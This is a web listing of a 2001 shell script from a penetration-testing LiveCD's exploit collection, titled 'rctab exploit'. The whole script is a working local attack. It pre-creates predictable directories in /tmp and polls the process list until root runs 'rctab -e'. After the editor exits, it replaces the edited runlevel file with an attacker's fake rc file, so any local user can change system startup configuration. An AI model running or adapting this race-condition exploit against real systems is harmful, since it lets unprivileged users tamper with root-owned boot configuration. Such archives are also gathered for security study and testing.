home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / changerc.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  104 lines

  1. #!/bin/bash
  2. #       any user can force changes to runlevels
  3. #       by IhaQueR
  4.  
  5. declare -i PLOW
  6. declare -i PHIGH
  7.  
  8.  
  9. # CONFIG:
  10.  
  11. PLOW=1
  12. PHIGH=3
  13.  
  14. TMP="/tmp"
  15. FAKERC="/tmp/fakerc"
  16. RCTMPDIR="rctmpdir"
  17. RCTMP="rctmp"
  18.  
  19. _pwd="$PWD"
  20.  
  21. #
  22. echo "----------------------------------------------"
  23. echo "|                                            |"
  24. echo "|             rctab exploit                  |"
  25. echo "|            by IhaQueR '2001                |"
  26. echo "|                                            |"
  27. echo "----------------------------------------------"
  28. echo
  29.  
  30. # crate dirs
  31. echo "[+] now creating directories"
  32. echo "    this may take a while"
  33. echo
  34.  
  35. declare -i cnt
  36. cnt=$PLOW
  37. umask 700
  38.  
  39. while [ $cnt -lt $PHIGH ]
  40. do
  41.         cnt=$(($cnt+1))
  42.         if [ $(($cnt % 128)) -eq 0 ] ; then
  43.                 printf "[%6d] " $cnt
  44.         fi;
  45.         if [ $(($cnt % 1024)) -eq 0 ] ; then
  46.                 echo
  47.         fi;
  48.         mkdir -p "$TMP/$RCTMPDIR.$cnt"
  49. done
  50.  
  51. echo
  52. echo
  53. echo "    finished creating dirs"
  54. echo
  55.  
  56. # wait for rctab -e
  57. declare -i rctabpid
  58. rctabpid=0
  59. echo "[+] waiting for root to run rctab"
  60.  
  61. while [ 1 ]
  62. do
  63.         rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
  64.         if test $rctabpid -gt 1 ; then
  65.                 break
  66.         fi
  67.         sleep 1
  68. done
  69.  
  70. # rcfile in
  71. rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
  72.  
  73. echo "[+] got rctab -e at pid $rctabpid"
  74.  
  75. # test if we own the directory
  76. rcdir="/tmp/rctmpdir.$rctabpid"
  77.  
  78. if test -O $rcdir ; then
  79.         echo "[+] ok, we own the dir"
  80. else
  81.         echo "[-] hm, we are not owner"
  82.         exit 2
  83. fi
  84.  
  85. # wait for root to finish editing
  86. sleep 4
  87. declare -i vipid
  88. vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
  89.  
  90. echo "    root is editing now at $vipid, wait for $rcfile"
  91.  
  92. pfile="/proc/$vipid"
  93.  
  94. while test -d $pfile
  95. do
  96.         echo -n >/dev/null
  97. done
  98. rm -rf $rcfile
  99. cp $FAKERC $rcfile
  100.  
  101. echo "[+] gotcha!"
  102. echo "    installed new rctab from $FAKERC"
  103.  
  104.